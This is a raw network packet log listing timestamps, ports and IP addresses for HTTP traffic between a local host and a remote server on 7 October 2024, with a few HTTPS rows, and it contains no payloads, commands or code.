Oct 7, 2024 18:43:16.117866993 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.117934942 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118108034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118156910 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118190050 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118196964 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118196964 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118222952 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118254900 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118273020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118277073 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118323088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118329048 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118356943 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118386030 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118410110 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118410110 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118421078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118452072 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118474960 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118474960 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118494034 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118499994 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118532896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118555069 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118566036 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118597031 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118607998 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118633032 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118633986 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118644953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118664026 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118701935 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118710041 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118722916 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118722916 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118755102 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118787050 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118797064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118819952 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118825912 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118853092 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118880033 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118880987 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118885994 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118902922 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118920088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118948936 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118952036 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.118963003 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.118984938 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119049072 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119049072 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119050980 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119082928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119102001 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119116068 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119134903 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119163990 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119179964 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119196892 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119224072 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119230986 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119290113 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119307041 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119307041 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119322062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119354010 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119400978 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119400978 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119400978 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119409084 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119463921 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119472980 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119497061 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119529963 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119561911 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119576931 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119576931 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119576931 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119594097 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119626045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119647026 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119647026 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119657993 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119687080 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119690895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119704008 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119725943 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119756937 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119790077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.119800091 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119800091 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119828939 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.119847059 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.168930054 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.174153090 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346029043 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346043110 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346056938 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346129894 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346141100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346149921 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346158981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346168995 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346249104 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.346249104 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.346249104 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.346249104 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.346496105 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346506119 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346513987 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346523046 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346530914 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346540928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346549988 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346575022 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.346575022 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.346654892 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346663952 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346673012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346700907 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.346700907 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.346782923 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346793890 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346802950 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346812010 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346820116 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346828938 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346833944 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.346833944 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.346838951 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346848965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346858025 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346885920 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.346896887 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.346960068 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.346968889 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.347037077 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.347037077 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.348318100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.348330021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.348339081 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.348347902 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.348356962 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.348366022 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.348376036 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.348416090 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.348416090 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.348452091 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.348460913 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.348472118 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.348480940 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.348490000 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.348499060 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.348507881 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.348516941 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.348525047 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.348526001 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.348525047 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.348576069 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.348576069 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.349023104 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349039078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349046946 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349056005 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349065065 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349073887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349081993 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349091053 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349098921 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349107981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349116087 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349116087 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.349117041 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.349127054 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349136114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349144936 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349155903 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349167109 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349173069 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.349173069 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.349176884 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349188089 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349196911 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349206924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349219084 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.349219084 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.349246979 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349257946 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349267006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.349294901 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.349294901 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.349319935 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.350205898 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350217104 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350224972 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350234985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350244045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350253105 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350263119 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350272894 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350281000 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350290060 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350298882 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350302935 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.350302935 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.350307941 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350318909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350327969 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350337029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350346088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350357056 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.350357056 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.350358009 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350385904 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.350464106 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.350574017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350584030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350591898 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350601912 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350610018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350619078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350632906 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350642920 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350647926 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350656033 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350661039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350661993 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.350661993 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.350671053 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350687027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350698948 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350708961 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350708961 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.350708961 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.350718021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350728989 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.350769997 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.350769997 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.351581097 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.351592064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.351600885 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.351609945 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.351618052 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.351627111 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.351634979 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.351644039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.351653099 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.351654053 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.351654053 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.351663113 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.351672888 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.351681948 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.351691961 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.351700068 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.351712942 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.351712942 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.351712942 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.351759911 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.351759911 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.427212954 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.427293062 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.431998968 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.432022095 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.432241917 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.442339897 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.461499929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.461513996 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.461525917 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.461592913 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.461592913 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.461627007 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.461638927 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.461643934 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.461882114 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.461942911 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.462028027 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.463084936 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463144064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.463315964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463325977 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463336945 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463346004 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463356018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463366985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463382006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463397980 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463407993 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463418007 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463423014 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.463423014 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.463430882 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463443041 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463454008 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463464022 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463473082 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463475943 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.463475943 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.463485956 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463495970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463505030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463511944 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.463515997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.463524103 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.463584900 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.464004040 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.464112997 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.466547966 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466558933 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466568947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466605902 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.466623068 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.466674089 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466686010 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466695070 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466706038 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466736078 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.466736078 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.466737032 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466748953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466757059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466767073 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466777086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466816902 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.466816902 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.466913939 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466923952 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466933966 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466943026 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466959953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466973066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466981888 CEST	80	49699	46.8.231.109	192.168.2.7
